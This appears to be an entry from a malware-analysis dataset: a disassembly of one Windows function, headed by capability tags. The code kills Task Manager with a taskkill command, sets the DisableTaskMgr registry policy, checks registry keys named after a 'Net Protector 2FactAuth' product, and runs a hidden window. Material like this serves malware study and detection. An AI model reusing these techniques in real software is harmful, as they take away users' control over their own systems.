Function at 0x402650
Capabilities:
Create process on windows
Create thread
Disable system features via registry on windows
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x6c
mov eax, dword [0x434c44]
xor eax, esp
mov dword [esp + 0x64], eax
push ebx
push ebp
push esi
mov esi, dword [0x438d74]
push edi
test esi, esi
jne 0x402688
push 4
call fcn.004070e0
add esp, 4
test eax, eax
je 0x40267e
mov dword [eax], esi
jmp 0x402680
xor eax, eax
mov esi, eax
mov dword [0x438d74], esi
push 0
push str.taskkill__F__T__IM_Taskmgr.exe
call dword [sym.imp.KERNEL32.dll_WinExec]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
push esi
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x4026d8
mov ecx, dword [esi]
push 4
lea eax, [esp + 0x14]
push eax
push 4
push 0
push str.DisableTaskMgr
push ecx
mov dword [esp + 0x28], 1
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [esi]
push edx
call edi
push 0
push 0
push 0
push 0x402e90
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, dword [0x438d74]
mov dword [esp + 0x18], eax
test esi, esi
jne 0x402717
push 4
call fcn.004070e0
add esp, 4
test eax, eax
je 0x40270d
mov dword [eax], esi
jmp 0x40270f
xor eax, eax
mov esi, eax
mov dword [0x438d74], esi
push esi
push str.SOFTWAREMessage_LabsNet_Protector2FactAuth
push reloc.OLEAUT32.dll_SysReAllocString
call ebx
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x402793
mov edx, dword [esi]
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x14]
push ecx
push 0
push 0
push str.STATUS
push edx
mov dword [esp + 0x2c], 4
mov dword [esp + 0x28], 0
call ebp
test eax, eax
jne 0x40278e
cmp dword [esp + 0x10], 1
jbe 0x402789
push str.SOFTWAREMessage_LabsNet_Protector2FactAuth
push 0x104
push 0x438b68
call fcn.0041200f
mov eax, dword [esi]
add esp, 0xc
push eax
mov dword [0x438b64], 0x80000002
call edi
jmp 0x4027b4
mov ecx, dword [esi]
push ecx
jmp 0x402791
mov edx, dword [esi]
push edx
call edi
push str.SOFTWAREVB_and_VBA_Program_Settings2FactAuth
push 0x104
push 0x438b68
call fcn.0041200f
add esp, 0xc
mov dword [0x438b64], 0x80000001
mov eax, dword [0x438b64]
push esi
push 0x438b68
push eax
call ebx
test eax, eax
jne 0x4028e8
lea edx, [esp + 0x14]
push edx
xor ecx, ecx
mov dword [esp + 0x66], eax
mov dword [esp + 0x6a], eax
mov dword [esp + 0x6e], eax
mov dword [esp + 0x72], eax
mov word [esp + 0x76], ax
lea eax, [esp + 0x64]
push eax
push ecx
push ecx
mov word [esp + 0x70], cx
mov ecx, dword [esi]
push str.PrevSetting
push ecx
mov dword [esp + 0x2c], 0xa
call ebp
test eax, eax
jne 0x4028e8
cmp word [esp + 0x60], 0x31
jne 0x4028e8
mov dword [esp + 0x20], eax
push eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x24], 0x4012e0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea edx, [esp + 0x1c]
push edx
mov dword [esp + 0x30], eax
mov dword [esp + 0x44], str.MyWindowClass
call dword [sym.imp.USER32.dll_RegisterClassW]
mov eax, dword [esp + 0x40]
push 0
push 0
push 0
push 0xfffffffffffffffd
push 0
push 0
push 0
push 0
push 0
push str.My_Window
push eax
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x40289d
push str.Failed_to_create_window
call fcn.00402360
add esp, 4
jmp 0x4028e8
mov ebx, dword [sym.imp.USER32.dll_GetMessageW]
push 0
push 0
push 0
lea ecx, [esp + 0x50]
push ecx
call ebx
test eax, eax
je 0x4028e8
mov esi, dword [sym.imp.USER32.dll_TranslateMessage]
mov edi, dword [sym.imp.USER32.dll_DispatchMessageW]
lea edx, [esp + 0x44]
push edx
call esi
lea eax, [esp + 0x44]
push eax
call edi
cmp dword [0x438d70], 0
je 0x4028e8
push 0
push 0
push 0
lea ecx, [esp + 0x50]
push ecx
call ebx
test eax, eax
jne 0x4028c0
mov esi, dword [esp + 0x18]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x74]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00411cc8
add esp, 0x6c
ret